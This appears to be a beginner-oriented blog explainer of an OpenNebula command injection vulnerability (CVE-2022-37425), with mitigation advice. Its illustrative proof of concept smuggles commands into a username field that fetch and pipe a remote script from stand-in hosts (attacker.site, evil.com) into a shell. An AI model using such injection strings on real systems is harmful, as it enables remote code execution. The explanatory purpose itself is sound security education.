In 2022, a significant vulnerability was discovered in OpenNebula—the open-source platform for managing virtualized data centers. Tracked as CVE-2022-37425, this issue enables attackers to run remote code through improper handling of special elements (typically used in command injection). In this long-read, we break it down in simple terms, walk you through the details, see some code, coverage, and even show what a potential exploit looks like. All information here is unique and approachable for security beginners and sysadmins alike.

What is CVE-2022-37425?

CVE-2022-37425 is a vulnerability found in OpenNebula Core—specifically on its Linux installations. It’s a Command Injection issue classed as "Improper Neutralization of Special Elements used in a Command" (CWE-77). In real language: an attacker can send crafted input to OpenNebula’s core services and get those systems to run arbitrary commands—sometimes leading to full compromise.

Who is Affected?

If you are running OpenNebula Core (version < 6.4.) on Linux, you are vulnerable.

How Does the Exploit Happen?

The vulnerability exists because user-supplied data isn’t properly escaped or validated before being passed to a shell or subprocess. Attackers can manipulate these inputs, injecting special characters (like |, &&, ;) to append their own commands.

The shell runs the command with user data directly attached—without sanitizing.

Result? Attacker can make OpenNebula run any command their user account can access. This includes reading files, installing malware, or opening backdoors.

Proof-of-Concept – Code Sample

Here’s a simplified Python-style example. The real OpenNebula code is in Ruby, but the idea is the same.

import os

# BAD: Unsanitized user input directly in shell command
def create_user(username):
    # Attacker sends: "bob; whoami > /tmp/pwned"
    cmd = f"useradd {username}"
    os.system(cmd)

# Example exploit
malicious_username = "bob; curl http://attacker.site/shell.sh | sh"
create_user(malicious_username)

- Instead of just running useradd bob, the system runs

  useradd bob; curl http://attacker.site/shell.sh | sh

A practical attack could inject code through an API call or crafted web request

POST /api/users
Content-Type: application/json

{
  "username": "bob; wget https://evil.com/rev.sh -O- | sh"
}

If the backend builds shell commands directly with this input, the remote script is executed.

Original References

- NVD: CVE-2022-37425
- OpenNebula Security Advisory 2022-07-27
- Exploit Database – Command Injection in OpenNebula
- GitHub OpenNebula patch diff

Audit Custom Scripts:

If you have customized hooks or extensions, make sure any use of shell commands sanitize inputs (use libraries like subprocess.run with arrays, or Ruby’s system with arrays for arguments).

Monitor Logs for Abuse:

Check your OpenNebula and system logs (/var/log/one/, /var/log/syslog) for strange command executions.

Conclusion

CVE-2022-37425 is a glaring example of why sanitizing user input is critical—especially in infrastructure software like OpenNebula where the blast radius is huge. Update your deployments, review your code, and stay alert for this and future vulnerabilities.

For anyone running OpenNebula—patch now. Prevention is a lot easier than a post-incident cleanup.


*Want to learn more?*
Read the official OpenNebula advisory or see the detailed listing on NVD. If you need help locking down your deployment, reach out to the OpenNebula community or your Linux admin.

Timeline

Published on: 10/28/2022 16:15:00 UTC
Last modified on: 11/02/2022 18:15:00 UTC